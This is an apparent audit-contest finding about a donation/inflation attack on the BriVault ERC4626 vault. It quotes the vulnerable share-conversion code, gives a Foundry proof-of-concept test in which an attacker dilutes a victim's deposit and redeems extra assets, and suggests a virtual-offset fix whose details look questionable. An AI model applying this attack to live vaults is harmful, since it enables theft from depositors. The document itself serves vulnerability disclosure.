BriVault

First Flight #52
Beginner FriendlySolidity
100 EXP
View results
Submission Details
Severity: high
Valid

ERC4626 Inflation/Donation Attack

Root + Impact

Description

  • The vault follows ERC4626 standards where users deposit assets to receive shares proportional to their contribution, calculated as shares = assets * totalShares / balanceOfVault in _convertToShares.

  • After the first deposit, subsequent deposits mint shares based on the current asset-to-share ratio, ensuring fair distribution.

  • The issue is that attackers can directly transfer (donate) assets to the vault contract without calling deposit, inflating the balanceOfVault (total assets) without minting new shares.

  • This skews the ratio, causing subsequent legitimate depositors to receive fewer shares than expected due to the inflated denominator, allowing the attacker to front-run and steal value by depositing minimally and withdrawing amplified assets.

// In _convertToShares - vulnerable to inflation via direct transfers
function _convertToShares(uint256 assets) internal view returns (uint256 shares) {
uint256 balanceOfVault = IERC20(asset()).balanceOf(address(this));
uint256 totalShares = totalSupply(); // total minted BTT shares so far
if (totalShares == 0 || balanceOfVault == 0) {
// First depositor: 1:1 ratio
return assets;
}
@> shares = Math.mulDiv(assets, totalShares, balanceOfVault); // @> Denominator inflated by donations, reducing shares for victims
}
// No override or protection against direct ERC20 transfers to address(this), which increase balanceOfVault without minting shares

Risk

Likelihood: High

  • Attacker donates assets directly via ERC20 transfer to the vault after the first deposit.

  • No mechanisms block or account for unsolicited asset transfers.

Impact: High

  • Legitimate depositors receive near-zero or diluted shares, leading to funds loss.

  • Attacker withdraws amplified assets, effectively stealing from the vault.

Proof of Concept

  • Add TestDonation function to briVaultTest.t.sol

  • Run forge test --mt TestDonation

function testDonation() public {
// Adjust for fee and min - use larger amounts
uint256 tinyDeposit = minimumAmount * 10; // Safe above min
uint256 normalDeposit = 1 ether;
uint256 largeDonation = 10 ether; // Fits 20 ether balance
// Attacker makes tiny initial deposit to get shares
vm.prank(user2);
mockToken.approve(address(briVault), tinyDeposit);
vm.prank(user2);
uint256 attackerInitialShares = briVault.deposit(tinyDeposit, user2);
assertGt(attackerInitialShares, 0, "Attacker initial shares");
// Victim makes normal deposit
vm.prank(user1);
mockToken.approve(address(briVault), normalDeposit);
vm.prank(user1);
uint256 victimInitialShares = briVault.deposit(normalDeposit, user1);
assertGt(victimInitialShares, 0, "Victim initial shares");
// Attacker donates large amount to inflate
vm.prank(user2);
mockToken.transfer(address(briVault), largeDonation);
// Victim deposits again - gets diluted shares
vm.prank(user1);
mockToken.approve(address(briVault), normalDeposit);
vm.prank(user1);
uint256 victimDilutedShares = briVault.deposit(normalDeposit, user1);
assertLt(victimDilutedShares, victimInitialShares / 10, "Victim got diluted shares"); // Loose assert for dilution
// Attacker redeems initial shares - gets amplified assets (theft)
uint256 attackerBalanceBefore = mockToken.balanceOf(user2);
vm.prank(user2);
briVault.redeem(attackerInitialShares, user2, user2); // Redeem all initial shares
uint256 attackerBalanceAfter = mockToken.balanceOf(user2);
uint256 attackerGained = attackerBalanceAfter - attackerBalanceBefore;
assertGt(attackerGained, tinyDeposit, "Attacker gained extra assets from dilution theft");
}

Recommended Mitigation

To prevent the inflation/donation attack, implement "virtual" assets and shares (a small offset) to make small donations ineffective at skewing the ratio. This ensures the first depositor and subsequent ones get fair shares, as the denominator can't be manipulated to near-zero impact. Override totalAssets and adjust _convertToShares accordingly. Use constants like 1 for virtual assets and 1e18 for shares to avoid precision issues.

// Add virtual assets/shares to prevent inflation from small donations
+ uint256 internal constant VIRTUAL_ASSETS = 1;
+ uint256 internal constant VIRTUAL_SHARES = 1e18;
// Override totalAssets to include virtual
function totalAssets() public view override returns (uint256) {
- return IERC20(asset()).balanceOf(address(this));
+ return IERC20(asset()).balanceOf(address(this)) + VIRTUAL_ASSETS;
}
// Update _convertToShares with virtuals
function _convertToShares(uint256 assets) internal view returns (uint256 shares) {
- uint256 balanceOfVault = IERC20(asset()).balanceOf(address(this));
- uint256 totalShares = totalSupply(); // total minted BTT shares so far
- if (totalShares == 0 || balanceOfVault == 0) {
- // First depositor: 1:1 ratio
- return assets;
- }
- shares = Math.mulDiv(assets, totalShares, balanceOfVault);
+ uint256 supply = totalSupply();
+ return assets == 0 ? 0 : Math.mulDiv(assets, supply + VIRTUAL_SHARES, totalAssets());
}
Updates

Appeal created

bube Lead Judge 19 days ago
Submission Judgement Published
Validated
Assigned finding tags:

Inflation attack

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!